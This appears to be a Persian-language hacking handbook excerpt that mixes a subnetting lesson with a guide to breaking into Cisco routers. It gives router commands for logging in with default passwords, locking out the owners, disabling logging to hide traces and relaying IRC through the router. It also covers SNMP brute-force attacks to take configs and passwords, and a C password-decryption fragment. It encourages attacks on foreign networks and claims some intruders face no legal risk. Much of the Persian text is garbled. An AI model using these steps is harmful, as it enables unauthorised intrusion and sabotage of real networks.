if((out = fopen(argv[2]، "wt")) == NULL) 
exit(1); 
} 
while(1) { 
for(i = 0; i < 256; i++) { 
if((line[i] = fgetc(in)) == EOF) { 
if(i) 
break; 
fclose(in); 
fclose(out); 
return(0); 
} 
if(line[i] == '\r') 
i--; 
if(line[i] == '\n') 
break; 
} 
pw_pos = 0; 
line[i] = 0; 
if(!strncmp(line، pw_str1، strlen(pw_str1))) 
pw_pos = strlen(pw_str1); 
if(!strncmp(line، pw_str2، strlen(pw_str2))) 
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pw_pos = strlen(pw_str2); 
if(!pw_pos) { 
fprintf(stdout، "%s\n"، line); 
continue; 
} 
if(cdecrypt(&line[pw_pos]، passwd)) { 
fprintf(stderr، "Error.\n"); 
exit(1); 
} 
else { 
if(pw_pos == strlen(pw_str1)) 
fprintf(out، "%s"، pw_str1); 
else 
fprintf(out، "%s"، pw_str2); 
fprintf(out، "%s\n"، passwd); 
} 
} 
} 

رای  اگر  ندهيد و دست از را وقت پس کنيد امتحان را خود شانس خواهيد می و هستيد سيسکو روتر یک دنبال به اگر ين  ب ار  اول  است  ب
ر  هک  متخصصان  از یکی و تمرین صبر مدتی از بعد نترسيد کار بودن مشکل از اصلا دارید را کاری چنين خيال که ا  روت د  ه  خواهي
رین شبکه   از یکی  به سادگی به شاید داند می یکس چه شد ا  های  بزرگت وذ  دني ه   نف د البت شه  کني ه  ریسک  خطر  همي ال  اینگون م  را اعم  ه

ا  در بزرگ خارجی شرکت یک های روتر با خصوص به ها سيستم با و هستيد ایران در خود خيال به اگر بپذیرید د  کلنجار  اروپ  ميروی
د  تعجب آمدند اتان خانه در دم به بازداشت برایInterPol المللی  بين پليس طرف از اگر روزی انجور  نکني ه  هم ا  شما  ک ين  ب  روش چن

ستم  هم آنها کردین نفوذ آنها های سيستم یه هایی ایی  سي د  ه ه  دارن ا   ک ورد ISPت تفاده   م ان  اس د  شناسایی  را ات ه  کنن اجرا  بقي م  رو م ه  ه  ک
  .هستيد بلد خودتون

  
  :اي صفر مسيریاب هاي سيسكو و زیر شبكه ه

  
  .زیر شبكه بطور آلي به شبكه اي گفته مي شود آه بخشي از یك شبكه ي بزرگ تر تشكيل ميدهد

  
ترجمه نشاني -١  : ip یك شبكه بزرگ را به شبكه هاي آوچك تر تقسيم مي آنند تا با استفاده از دو روش فضاي نشاني          ipدر شبكه هاي    

د  . یي امنيت و جبران آمبود نشاني هاي  شبكه شوند براي استفاده از اولين  زیر شبكه ترجمه نشاني درگاه باعث بهبود آارا    -٢شبكه       بای
  .به مورد هاي توجه شود آه در این مقاله به ان ها اشاره مي شود

  
  :تشریح اولين و اخرین زیر شبكه صفر 

  
ال   زماني آه شبكه به چند شبكه آوچك تر تقسيم مي شود ان اولين زیر شبكه را زیر شبكه        يش    ١٧٢٫١٦٫٠٫٠:   صفر است مث ه طور پ ب

ابراین               ١٦فرض این رده داراي      ول وجود دارد حال           ) ٢-٢(٦٥٥٣٤بيت ذخيره شده  براي نمایش نشاني ميز بان است  بن ل قب شاني قاب ن
  .شبكه آوچك تر تقسيم شود) ٢(به هشت .بيت از بيت هاي ميزبان ٣فرض آنيد شبكه ي زیر  با قرض گرفتن 

  
  ١٧٢٫١٦٫٠٫٠/١٩: مثال

  
پس زیر شبكه ي صفر ناميده مي شود بایدتوجه کرد زیرا اولين شبكه پس از تقسيم  شبكه به شبكه به عنوان زیر شبكه صفر شناخت مي                         

  شود پس هيچ قاعده ي خاصي براي تعين زیر شبكه ي صفر وجود ندارد
د براي همين نيز به این زیر شبكه زیرشبكه  صفر نام دارد به بر)٢(اآنون براي شناسایي این زیر شبكه مي توان نشاني ان را به پایه 

  .  در زیر شبكه ي صفر است١٩و١٨و١٧صورت که هر سه بيت 
  

  :تشریح زیر شبكه  تمام یك
  

  .اخرین زیر شبكه در مجموعه ي زیر شبكه هایي آه ایجاد شده را زیر شبكه ي تمام یك ناميده مي شود
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 است شكل هاي زیر شبكه صفر و زیر شبكه تمام یك نباید از زیر شبكه صفر و زیر شبكه ١٩و١٨و١٧چرا به خاطر یك بودن بيت هاي        
ر شبكه را نمي     RFC 950ي تمام یك به عنوان زیر شبكه فيزیكي استفاده نشود  ودر سندهاي  ن دو زی  ذخيره آردن و اختصاص داد  ای
ر شبكه          توان براي زیر شبكه ي فيزیكي به آار گرفت وبراي نشاني هاي         د استروش سنتي محاسبه ي زی سيار مفي ي ب  شبكه وداده پراآن

ر                راي زی براي همين درشبكه ها تعداد زیر شبكه هاي این دو زیر شبكه را در محاسبه هاي خودبه حساب نمي اورد یعني اگر سه بيت ب
راي    این روش  رو.  ازان آم مي شود   ٢ عدد   ٢=٨شبكه مورد استفاده قرار گيرد پس از محاسبه          ش سنتي محاسبه ي زیر شبكه هاست ب

ر شبكه       همين بود که قبلا استفاده از زیر شبكه ي صفر آمتر بوده به آه دليل خاصيت ذاتي این روش نشاني دهي تميز نشاني شبكه و زی
  .غير ممكن به نظر مي رسيد 

  
  ١٧٢٫١٦٫١٫١٠: مثال :  براي مثال نشاني زیر را از مثال قبلي در نظر بگيرید 

  
      ١٧٢٫١٦٫٠٫٠:   مثال : کنون اگر بخواهيم نشاني زیر شبكه ي ان را به دست اورید  خواهيد داشت  ا

  
آه شما ان را به چند زیر شبكه تقسيم آرده اید بنابر این هر گاه شما یك شبكه را به چند زیر شبكه تثسيم آنيد زیر شبكه اي خواهيد داشت               

  .اوتي ندارد آه نشاني ان با نشاني شبكه ي اصلي تف
  

ر شبكهي صفر                           ل ویژگي    .این مسئله اغلب منشا اشتباه هاي بزرگي خواهد داشت ، زیر شبكه ي تمام یك نيز مانند همتاي خود زی ه دلي ب
به دلليل  ویژگي ذاتي اي  آه دارد شناسایي نشاني داده پراآني شبكه ي اصلي         .ذاتي ایكه دارد شناسایي نشاني داده پراآني شبكه ي صفر           

  . و این زیر شبكه را دشوار مي آند
  

   ١٧٢٫١٦٫٢٢٤٫٠/١٩:نشاني اخرین زیر شبكه یا زیر شبكه ي تمام یك ها عبارت است از .در مثال قبلي .براي مثال 
  

   ١٧٢٫١٦٫٢٥٥٫٢٥٥: نشاني داده پراآني این زیر شبكه عبارت است 
                              ١٧٢٫١٦٫٠٫٠:به صورت زیر است .آه برابر با نشاني داده پراآني شبكه ي اصلي 

  
  
  

ي شبكه ي اصلي یكي        .بنابراین  هر گاه زیر شبكه اي درست آنيد       شاني داده پراآن ا ن ي ان ب شبكه اي خواهيد داشت آه نشاني داده پراآن
  ١٧٢٫١٦٫٢٣٠٫١/١٩: خود اختصاص دهد١٥نشاني زیر را به مسيریاب .به عبارت دیگر اگر مهندس شبكه .است 

  
اب در ان وجود دارد              ه مسير ی ر شبكه اي  آ ي زی ي  شبكه ي  اصلي     .١٦هيچ تفاوتي بين نشاني داده پراآن شاني داده پراآن وجود  ١٧ون

ه            د مشكل هاي جدي ب دي  نادرست ان مي توان ابراین پيكربن نخواهد داشت درحال حاضر از زیر شبكه هاي تمام یك استفاده مي شود بن
د ٥ تا    ٢سير یاب هاي      وجود اورد در این مثال م      دادي    .   هر آدام به عنوان مسير یاب هاي دسترسي انجام وظيفه مي آنن ين تع راي هم ب

ه هر یك از ان     ) c(دارند در این مثال یك شبكهي ردهي     ) اي اس دي ان   (خط ورودي غير همزمان یا       به چهار شبكه تقسيم شده است و ب
ه صورت                        ها نيز یك مسير یاب براي دسترسي اختصاص داده         ا ب اب ه  شده است علاوه بر این خط هاي غير همزمان هر یك از مسير ی

  :زیر پيكر بندي شده اند
  

ip unnum e0  
  

براي دسترسي درست داراي مسير هاي ایستا است آه هر آدام از ان ها به یكي از مسيریاب هاي دسترسي اشاره مي آنند )١(مسيریاب 
اشاره مي آنند جدول مسير یابي )١(ي دسترسي توسط یك مسير پيش گزیده به مسيریاب به همين ترتيب هر یك از مسير یاب ها

  :مشابه جدول زیر است)١(مسيریاب 
  

  )١( مسيریابي مسيریاب 
c 195.1.2.0/24 E0  

 S 195.1.1.0/26 195.1.2.2  
S195.1.1.64/26 195.1.2.3  
S 195.1.1.128/26 195.1.2.4  
S 195.1.1.19/26 195.1.2.5  

  
یاب هاي دسترسي نيز داراي پيكر بندي مشابهي هستند یعني ان ها نيز داراي مسير هاي پيش گزیده تعدادي مسير ميزبان براي مسير

  :جدول مسير یابي سایر مسير یاب ها عبارت اند از . خط هاي غير هم زمان در پيمان نقطه به نقطه هستند
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 ٧٨١    صفحه

  
  )٢(مسير یابي مسير یاب 

C 195.1.2.0/24 E0  
S 0.0.0.0/0 195.1.2.1  
C 195.1.1.2/32async 1  
C 195.1.1.5/32 async 2  
C 195.1.1.8/32 async 3  
C 195.1.1.13/32 async 4  
C 195.1.1.24/32 async 6  
C 195.1.1.31/32 async 8  
C 195.1.1.32/32 async 12  
C 195.1.1.32/32 async 12  
C 195.1.1.62/32 async 18  

  
  )٣( مسير یابي مسير یاب

C 195.1.2.0/24 E0  
S 0.0.0.0/0 195.1.2.1  
C 195.1.1.65/32 async 1  
C 195.1.1.68/32 async 2  
C 195.1.1.74/32 async 3  
C 195.1.1.87/32 async 4  
C 195.1.1.88/32 async 6  
C 195.1.1.95/32 async 8  
C 195.1.1.104/32 async 12  
C 195.1.1.112/32 async 15  
C 195.1.1.126/32 async 18  

  
  )٤(  مسير یابي مسير یاب 

  
C 195.1.2.0/24 E0  
S 0.0.0.0/0 195.1.2.1  
C 195.1.1.129/32 async 1  
C 195.1.1.132/32 async 2  
C 195.1.1.136/32 async 3  
C 195.1.1.141/32 async 4  
C 195.1.1.152/32 async 6  
C 195.1.1.159/32 async 8  
C 195.1.1.160/32 async 12  
C 195.1.1.176/32 async 15  
C 195.1.1.190/32 async 18  

  
  )٥(  مسير یابي مسير یاب 

C 195.1.2.0/24 E0  
S 0.0.0.0/0 195.1.2.1  
C 195.1.1.193/32 async 1  
C 195.1.1.197/32 async 2  
C 195.1.1.200/32 async 3  
C 195.1.1.205/32 async 4  
C 195.1.1.216/32 async 6  
C 195.1.1.223/32 async 8  
C 195.1.1.224/32 async 12  
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 ٧٨٢    صفحه

C 195.1.1.240/32 async 15  
C 195.1.1.252/32 async 18  

  
  

  .چه پيش خواهد امد اگر ميزباني آه از طریق خط غير هم زمان به شبكه وصل شده است
  

  :  از نشاني  الگو ي اشتباه زیر استفاده آند٢٥٥٫٢٥٥٫٢٥٥٫١٩٢به جاي نشاني الگوي زیر شبكه 
  

٢٢٥٫٢٥٥٫٢٥٥٫٠  
  )همه چيز به خوبي آار مي آند:  (در جواب باید گفت 

  
  :حال ميزبان زیر را در نظر بگيرید 

١٩٥٫١٫١٫٢٤  
  

  :به عبارت زیر در بسته اي باویژگي هاي زیر ارسال مي آند. این ميزبان مي خواهد پيام داده پراآني اي ارسال آند
S  : 195.1.1.24  
d  : 195.1.1.255  

  
این  عمل ان .مي دهد )٥(،و سپس به مسير یاب )١(ان را به مسير یاب )٢(مسيریاب .دریافت مي شود )٢(سير یاب این بسته توسط م

در این حالت ممكن است تصور آنيد به شبكه ي شما حمله شده است در حالي آه . قدر تكرار مي شود تا بسته به انتهاي عمرخودبرسد
  .اشكال در درون خود شبكه به وجودامده است

  
  

آه مسير  )٥(مسيریاب .از یك حلقه ي مسير یابي  استفاده شد آه وجود ان در شبكه معمو لا به عنوان اشكال مطرح مي شود    .در این مثال  
اب هاي                د مسير ی ا ٢یابي زیر شبكه ي تمام یك را به عهده دارد تمام رفت وامد ایجاد شده توسط این اشكال را تحمل مي آن ط یك   . ٤ ت فق

ه                )١(داده پراآني را دریافت مي آنند مسيریاب        بار بسته هاي     سيریاب از گون ن م ا اگر ای هم فشار رفت و امد زیادي را تحمل مي آند ام
د             )٧٥١٣سيسكو(ایی     شان دهي راي  .  باشد چگونه این وضعيت را تحمل مي آند در این حالت باید نشاني ميزبان هارابا الگوي درست ن ب

د        جلوگيري از آار نادرست ميزبان ها      شده ان اب دسترسي                       .یي آه به درستي تنظيم ن راي هر مسير ی از گشت ب ه ب وان از رابط حلق مي ت
  :استفاده آرد ویك مسير ایستا براي نشاني زیر درست آنيد

١٩٥٫١٫١٫٢٥٥  
  :هم چنين مي توانيد از رابط زیر استفاده آنيد

Nu110  
  :به صورت زیر در معناي عدم دسترسي به شبكه نمایش دهد . را)ترنت پيام پيمان نظارتي ان(اما انجام این آار باعث ميشود مسيریاب 

unreachable  
  

ن         . آاربردزیر شبكه هاي صفرو تمام یك باوجود غير تعارف بودن استفاده از این دو مجموعه نشاني                  راه ای ه هم آل فضاي نشاني دهي ب
ان           .  از قبل مجاز بود    .دو نشاني همواره قابل استفاده است استفاده از زیر شبكه ي تمام یك             ر شبكه صفر از زم در حالي آه استفاده از زی

ه ي        )١٢سيسكو اي ا اس     (معرفي ل از ارای ن وجود قب ا ای سكواي ا اس  (شروع شد ب ر در        )١٢سي ان زی تفاده از فرم ا اس ر شبكه ب ن زی ای
  :تنظيم هاي عمومي مسير یاب هاي قابل استفاده بود 

ip subnet-zero  
  :امده است)١٨٧٨اراف سي ( دو نشاني سندهاي براي استفادهاز این

ام           :حذف زیرشبكه ي صفروزیر شبكه ي تمام یك دیگر منسوخ شده است    ( ارگيري تم ه آ ایي ب د امروزي توان زار هاي جدی رم اف را ن زی
ر تول               ) شبكه هاتعریف شده را دارند       يش ت ام یك مجاز مي باشد وب ر شبكه تم ر شبكه ي صفر و زی تفاده از زی ن   امروز اس دگان ای يدآنن

ر شبكه                    تفاده از زی ه اس تفاده مي آنندآ دیمي اس رم افزارهاي ق وز از ن ویژگي راپشتيباني ميكنند با این وجود برخي شبكه هاي خاص هن
                                    .                                                                 صفر و زیر شبكه ي تمام یك در ان ها مي تواند مشكل ساز باشد 

  
*****  

 
  
  

   Prince of darkness منبع سيسکو های روتر هک برای عملی مثال
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 ٧٨٣    صفحه

  
 : بگم رو سيسکو های روتر هک از دیگه متد یک براتون ميخوام

  
 .ميکنيد نت تل نظرتون مورد روتر روی ابتدا

  
  کنيد استفاده زیر یپسوردها و یوزر این از
 

Password: "cisco"  (without the quotations) 
  
  .دیفالت پسورد دیفالت یوزر ادمين ؛ یا پسورد ادمين یوزر یا
 

 : کنيد پيدا دسترسی ادمين یوزر به اینکه برای اتصال از پس خب
Router < enable 
Password:"cisco" 
Router# 

 .کنيد جلوگيری دیگران ورود از تا دیدب تغيير رو پسوردها کار این از بعد
Router# conf t 
Router"config"# no enable secret 
Router"config"# line vty 04 
Router"config-vty"# password newpassword 
Then just hit ctrl z 
And ctrl z again 
type rel and do what it says. 

  :بدید تغيير صورت این به رو پسورد انيبل ميکنم پيشنهاد
  

Router# conf t 
Router"config"# no enable secret 
Router"config"# enable password newpass 
Then just hit ctrl z 
And ctrl z again 
type rel and do what it says. 

  
 :کنيد پاک اینجوری رو پاهاتون رد حالا

Router# conf t 
Router"config"# no ip finger 
Router"config"# no logging console 
Router"config"# no logging buffer 
Router"config"# no logging trap 
Router"config"# no logging monitor 
Router"config"# no loggin on 
Router"config"# no service finger 

 :کنيد لعم اینطور روتر در پکتها ارسال نحوه از بيشتر اطلاعات برای
Router# ping 
BLANK LINE 
127.0.0.1 
200000 
18024 
0 
BLANK LINE 
BLANK LINE 

 :بریم بزن ندارم حرفی باشه ميخواید سی ار ای سرور
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 ٧٨٤    صفحه

/server cisco_ip 23 
/quote pass remember.. you changed the pass.. if you left it default it's cisco. 
/quote Ircserver 6667 
/quote user hrrm 
/quote nick your_nick 

 ....چشم به ای بدیم تغيير هم هارو نيم هاست ميخواید خوب
Alright now my friend you can change the host name of the cisco 
Router#conf t 
Router(config)hostname decipher 
Router(config)^Z 
decipher< 

  
SNMP Method  

  
SNMPضد  و هک  مباحث  توان در می پروتکل این از را استفاده بيشترین که باشد می بنيادی و معروف های روتکلپ از دیگر  یکی 

ند   قبلی آشنایی پروتکل این با دوستان که هستيم اميدوار شمرد بر ها روتر هک ی  داشته باش ودن  کامل  جهت  از ول  اشاره  یک  مطلب  ب
  .دهيم می ارائه را تدارند پروتکل با این املک یا قبلی اشنایی که دوستان از آندسته برای جزیی

 
Simple Network Management Protocol ( SNMP ) 

  
اوت شبکه   اجزای  رود می  انتظار شبکه ساده مدیریت پروتکل یعنی اید می بر پروتکل این اسم از که همانطور رل  را متف ال  و کنت  اعم

ی  است بنيادی پروتکل این برای ساده فتعری یک آین نمود  مانيتورینگRemote طرق  از را آنها وم  اصل  ول ن  مفه رای  پروتکل  ای  ب
 شده  تعریف  ارتباط نوع آن برای خاصی و شده تعریف که مشخصات زمان هر در ویژه و خاص ای شبکه ارتباطات انواع کردن آسان
ن  باشد  می ردو راه از صورت به شبکه اجزای مانيتورینگ و مدیریت برای شده طراحی پروتکلیSNMP باشد  رو  ای  هنگامی  تکل  پ

ستمها  شتيبانی  سي د  را پ ه  ميکن دیرت  ک اده  م ی  س ق  از شبکه  اجرای ستگاه  طری اری  ای ا  ک رل  ب ل  از دور راه از کنت ال  قب  در شده باشد   فع
  .نماید را کنترل شبکه تجهيزات دیگر و ها روتر و سيستمها همانند ای شبکه اجزای تواند می که است اینصورت

 
  . گذارد می نمایش به  یک را SNMP برپایی برای کلی ساختار اعدقو زیر شکل

  
  

  است شده تشکيل اساسی بخش سه از فوق ساختار
 

 مکان  یک NMS شود   می  اطلاق  است معروف شبکه مدیریت کنسول به اغلب که مدیریتی کنسول یک : مانيتورینگ بخش •
 باشد می ساده سيستم یک کنترل مرکز این معمول طور به غلبا گيرد می عهده بر را اجزا مدیریت و هدایت برای را مرکزی

 .ميشود پا بر SNMP مدیریتی های افزار نرم توسط که
 ها روتر جمله از شبکه مختلف اجزاهای : ها نود •
 شود می شامل را ها نود و مانيتورینگ بخش از متشکل گروه : اجزاء مجموعه •
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 ٧٨٥    صفحه

 پارامتر از مختلفی انواع با ها پروتکل این تمامی اغلب ميگيرید  فراTCP-IPبا  رتبطم های پروتکل مباحث در اغلب شما که همانطور
ا  در ما منظور اصلی مفهوم اما کنند می فراهم را ارتباط نوعی ها ه SNMP از اینج ه  ب ه  شود  می  اطلاق  ای برنام ام   ب ا AGENT ن  ی

  .فرمایيد توجه زیر شکل به مطلب این فهم برای شود می هدایت مانيتورینگ بخش در ما مدیریتی افزار م نر توسط که ما عملگر مامور

 
  
ر UDP از ارتباطات   SNMP اغلب برند می بهده یکدگر با ارتباط  برایSNMP پروتکل از مانيتورینگ  وAgentبخش  دوی هر  ب

از  فقط کهبل نبود Logon به نيازی پروتکل این قدیمی های نسخه در کند می استفاده 162 و 161 های پورت روی ه  ني ستن  ب  رشته  دان
 فقط راAgent شما  هم ها وقت بعضی دانستيد می ارتباط ایجاد برای را مربوطه مجموعه نام قبل از بایستی شما بود اجزا مجموعه نام

 با هنوز ولی نمود می فراهم را امنيت ایجاد زمينه نوعی مطلب این خود نمودید می پيکربندی خاص IP یک از اطلاعات دریافت برای
د  های  نسخه در داشت فاصله امنيتی های استاندارد ن  جدی ا  داده حفاظت  پروتکل  ای ار  و ه رای Authentication سنجی  اعتب  امنيت   ب
ز  مانيتورینگ بخش اند شده گرفته نظر در بيشتر ارامتر  سری  یک  از ني رای  خاصی  های  پ دی  ب ه  اجزا  پيکربن ام  ب  Management ن

information Base(MIB) رد  ره به ن   ميگي ا MIB ای رای  را لازم اطلاعات  ه دی  ب راهم  پيکربن د  می  ف ا  شما  حال  آورن  از یکی  ب
ر  همچون ای شبکه جرای با ارتباط ایجاد و همچنين پيکربندی با مرتبط و دگير ها پروتکل ا  روت نا  ه ات  اجرای  از هدف  شدید  آش  عملي

ه  روتر یک های پيکربندی کنترل جهت در توانایی همچنيين و روتر یک های پارامتر بدست آوردن زیر  باشد  می  remote صورت  ب
 ما دارد شما نگرش نوع و تفکر طرز بستهبه نمود خواهيد چه روتر یک کنترل گرفتن بدست و عملياتی چنين انجام از بعد شما ایا اینکه
 صورت مرحله این از بعد شود می را الیاعم نوع چه اینکه می نمایييم روتر یک کنترل گرفتن دست در نحوه به کوچک ای اشاره فقط
تفاده  امنيت تست برای ها متد این از و هستيد شبکه یک امنيت شما مدیر اگر سپاریم می شما خود به را داد د  می  اس رای  مشکلی  نمایي  ب

 شرکت هيچ که توجه کنيد هم نکته ان به دارید را تکل پرو این از استفاده قصد خرابکاری و نفوذ قصد به آگر ولی آمد نخواهد شما پيش
 بحث  شود می تعيين افراد دسته این برای مجازات سختی نيز ها کشور اغلب در و کند نفوذ ها لایه این به کسی ندارد علاقه سازمانی یا
ایی  شبکه  و شبکه  یک کل امنيت بلکه شود نمیWeb Server یک  مربوطبه اینجا در ما ه  ه اط  در ک ا  ارتب ر  ب ور  روت  می  هستند  مزب

  .باشد
  
ه  گفت  خواهم  را نکته این شما به من ه  ک وان  می  چگون ق  از ت الا  پروتکل  طری ه  دست  ب دی  ب ر  پيکربن ا  روت ی  ه ن  زد ول ه  ای م  نکت  راه

 است  ذکر به لازم بمانيد باقی هم ناشناس گيرید و دست در دور راه از را روتر یک کنترل توانيد می راحتی همين به که نکنيد فراموش
ا  لایه این در روند می کار به شبکه فوقانی های لایه در عمليات نفوذگری در ماندن ناشناس برای که را هایی روش تمامی که ی  تقریب  ب
  .شود می ثبت نيزMAC Address اتان  رایانه افزاری سخت شماره مثال طور به ارتباط هنگام  در IPبر علاوه زیرا باشند می ثير تا



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٧٨٦    صفحه

  
 دسترس در ها پارامتر آن پاک کردن یا تغيير شيوه گونه هيچ امکان حال به تا که شد خواهند ثبت نيز گریدی ارتباطی های پارامتر البته
 پيگيری قصد اگر نخواهيد یا بخواهيد شما چه ) شود می خود داری سری ها پارامتر این نام بردن از حفاظتی مسایل جهت به (باشد نمی
شه  مثل باز البته شد خواهيد شناسایی حتما سایبر ایمبا جر مبارزه امور مجرب متخصصان توسط باشد ن  همي ه  ای ه  کشوری  ب  حال  در ک

ود  عمليات با نيازی حتی باشد راحت خيالتان توانيد می هایی کشور در دارد بستگی بسيار آن هستيد در حاضر ه صورت   نف  Remote ب
ا  سازید عملی را خود نفوذ و بروید ينمسول چشم جلوی در وLocal صورت  به توانيد می براحتی داشت نخواهيد هم د  می  حتم ه  داني  ک

 نيز گاهی چند از هر که گيرد می صورت ای پيچيده بک تریس عمليات هم آنقدر ها کشور بعضی در ولی هاست کشور کدام من منظور
 باشد چونکه راحت يالتانخ هستيد ساکن سومی جهان های کشور در اگر جهت هر به افتند می قانون هم بدام بزرگ های هکر از بعضی

ه  بالا در که هایی ایران تخصص مثل باشد داشته وجود هم اگر ندارد وجود اصلا ای رایانه جرایم با مبارزه بخش متخصصان نه  یک  ب
 نفوذگران شناسایی بر مبنی خود های توانایی بر نه است های مخابراتی سيستم به اشان تکيه تمامی و ندارند را کردیم اشاره آن از نمونه

د  دسترس  در اعمالتان تمامی پوشانيدن امکان عنوان هيچ به است که این کلی مفهوم جهت هر به . ود  نخواه ه  پس  ب ن  عواقب  ب ه  ای  گون
د  اجرا  عرصه عمل در را دانشی هر انسان که نيست نيازی ولی است مفيد اطلاعات این دانستن کنيد فکر اعمال هميشه شنهاد  کن  می  پي

فيد  کلاه  های  همانند هکر  بگذارید اجرا به و کسب را هایی توانایی چنين بتوانيد هاینک برای شود د  عمل  س ا  نمایي ان  ت ز  کارت ه  ني  ی جنب
 .باشد داشته هم قانونی

 موفق اگر .باشد  میSNMP از استفاده ها راه این از یکی. برد بهره نفوذ عمليات جهت در فوق پروتکل از توان می که رسيدیم آنجا به
را  های پارامتر و روترconfig توانيدم  می راحتی به شدید شبکه اجزا مجموعه یک  درSNMP پروتکل یک کردن پيدا به ا  ان  توجه  ب
ا  بخش  در که دستوراتی به را  گذشته  ه د  ف از  را گرفتي رون  و آوری ب دای  در بکشيد  بي ن  ابت ات  ای انطور  عملي ه  هم ه  ک  بخش  در شد  گفت

 اشاره ای شبکه های ابزار پکيج کاملترین و برترین از یکی به من اینجا در که باشد می خاص  افزارنرم سری یک به نياز مانيتورینگ
ن  های شبکه   ابزار زمينه در که نمایند می تصدیق را من حرف اند کرده ای حرفه کار افزار نرم این با که مينمایم دوستانی  مجموعه  ای

 از هم جهت هر به ولی شود می یافت شبکه مجموعه های ار دیگر بسياری در ان مشابه های ابزار از بسياری البته است مثال بی ابزار
 خود  استفاده نحوه همچنين و ها ابزار بودن کامل نظر
  افزار نرم ابتدا باشد متشابه معطوف های مجموعه دیگر به دوستان دیگر نظر که چند هر ميدهم ترجيح ها مجموعه دیگر از بيشتر من

SolarWinds Engineer Edition 2005 Version 8د  نصب  و ادریافت   را رای  نمایي ن  ب ار  ای ه  از ک  SNMP brute ی  برنام
force attackیا  SNMP dictionary attackبفرمایيد  توجه زیر شکل  به .کنيد  استفاده.  
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 ٧٨٧    صفحه

  

  
  
  
  

ورد  روترconfig توانيد  می راحتی به شدیدSNMP کردن  پيدا به موفق اگر از  ار نظر  م د  آوری ب د  نمایي ن  از بع ات  ای  و اسکن  عملي
 اورید بدست راconfig راحتی  به و دهيد  قرارcisco config download ی  برنامه در را هدف  روترIP  و SNMP روتر کراک

وارد حملات   از بسياری در دارد بستگی نماید می اسکن که های  روترRange و نوع به بسته عمليات این. ق   از م  Dictionary طری
Attackورد  جواب به ی  رسد  می  نظر  م واقعی  در ول ه  م ن  ک د  جوابی نمی   روش ای ا  ده اقی  راه تنه ده  ب ان  مان تفاده  هم  SNMPاز  اس

Brute Force attackی  رسد  می نظر به طولانی روش این از استفاده گرچه  هست ه  اخر سر   در ول د  جواب  ب يد  خواه ه  رس ن  البت  ای
اک در  عامل  یک خود پيکربندی نآورد بدست زمان در افزایش ات  خطرن وذ  عملي شتر  است  نف ن  از بي ر  روش ای ا  های  روی شبکه  ب  ب
 یاد را دارد وجودconfig در که روتررو username  و password روتر config اوردن  دست از به بعد ميگردد استفاده کم حفاظت
  .نمایيد داشت
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 ٧٨٨    صفحه
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 ٧٨٩    صفحه

  
  
ه   روترpassword مواقع  بعضی در شوید روتر وارد  سادهtelnet یک  با  ه  باشد  می  شده  encryptصورت   ب د  شما  ک ه  ورود بای  ب

ن  برای. کنيدdecrypt را ان روتر ار  ای ه  از ک تفاده cisco router password decrypt ی  برنام د  اس ر  اگر .کني  3600 سری  از روت
الاترین  ماش به که  استفادهeenn دستور از ورود از بعد بلافاصله توانيد می باشد د  می  را دسترسی  ب ر  ده دا  تغيي د  می  پي ا  کن ا  توجه  ب  ب
 بر کامل کنترل یک داشتن با. کنيد توجه رفته کار به دستور به مختلف های به > علامت کنيد اجرا را دستور این اگر که# مدل  و سری
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 ٧٩٠    صفحه

 مسوول توجه بی دليل به نيز موارد عضیب در دهيد انجام روتر روی بر دارید نظر در که را کاری هر شود میSNMP پروتکل  روی
 راحتی به روتر روی شود می مثلا است چنين ها شبکه از خيلی در .شود می استفادهpublic مثلا  فرض  پيشSNMP از شبکه امنيت

config را  خود دلخواه uploadرا روتر شود می یا و  نمایيد down ار  از نامعلومی مدت برای شبکه کل و نموده د  ک ز  ای عده  بفت  ني
د  می ا  توانن دی Upload ب د   پيکربن ه   گذاشتن  و جدی ه  هر   برداشتن Edit  و User کلم ا   تعویض  حق  گون ين  و  دیگر Secret ی  همچن

دی  عوض کردن   وضعی چنين آمدن پيش صورت در نمایند ایجاد را حادی مشکلات روتر پيکربندی Password کلمه تعویض  پيکربن
 مشکلات و تاخير باعث وقفه همين و شدبا می سختی بسيار کار الوده

ه  شود تمامب  می نظر مورد شبکه در متعددی ایی  برنام ه  را ه الا  در ک ه  ب ا  ب ودیم  اشاره  آنه ه   در نم  SolarWinds Engineer برنام
Edition 2005برنامه  حجم باشد می دسترس  در SolarWindسخه  آخرین  در دریافت  برای  می  مگابایت  100 حدود  در مهندسی  ن

ه  طبق باشد رم  دوستان  از یکی  گفت ای   محت ين Elite آق اتی  چن ات  بعلاوه  امکان شرفته  حد  در دیگری  امکان ر  پي ه  از ت وق  برنام ا  ف ام  ب  ن
Network Inspectorا   مجموعه این کليه باشد می دسترس در دریافت برای مگابات 65 حدود در نيز برنامه این شود می یافت نيز  ه

Commercialباشد می عموم دسترس در دریافت برای آنها نمایشی های نسخه و بوده.  
 

 Cisco Security Scanner از  استفاده
  

ذیریهای  معروف شناسایی های برنامه از  یکی ه   شبکه  اسيب پ  Ciscoبرنام
Security Scannerان    یا ن  باشد  می Netsonar هم رم  ای زار  ن ر  اف روی  ب

 های سيستم
windows NT/9x/2k/XP/Serverهمچنين   و Solaris و Solaris x86 

ن   مزیت  از یکی   ميباشد استفاده قابل زات   اسکنر  های ای ایش تجهي  درون نم
ن   می  است  حال بررسی  در اسکنر توسط ای که شبکه رای  اسکنر  باشد ای  ب
زات  های  پذیری آسيب تست ا  پروتکل  و تجهي ر  های  سرویس  و ه ورد  زی  م

 در نيز اسکنر این گيرد می قرار) ننفوذگرا وهمچنين( مدیران امنيتی استفاده
سخه  شی  ئ تجاری  های  ن رای  باشد  دسترس می   در نمای تفاده  ب  از کامل  اس

د  ابزار این های نقص از یکی باشد بودهFullVersion بایستی  نظرتان مورد نسخه ها پذیری آسيب دیتابيس ودن  کن  بررسی  عملکرد  ب
  . دهيد قرار بررسی مورد را کوچکی هایی حوزه بررسی مورد های  هدفRange انتخاب  در که است بهتر است ها پذیری اسيب

  
_ Unix hosts 
_ Windows NT hosts 
_ Network TCP/IP hosts 
_ Mail servers 
_ Web servers 
_ FTP servers 
_ Routers 
_ Firewalls 
_ Switches 

ق  ولی نماید می هاستفاد ها اسکنر دیگر همانند پذیری اسيب دیتابيس یک از اسکنر این ر  بعضی دوستان   نظر  طب ط  از بهت  قابليت  از فق
ذیری  آسيب  تست  جمله از اسکنر ویژه و خاص های ر  های  پ ا  روت تفاده  آز ه رای  و شود  آن اس دا  ب ذیری  آسيب  دیگر  نمودن  پي  های  پ

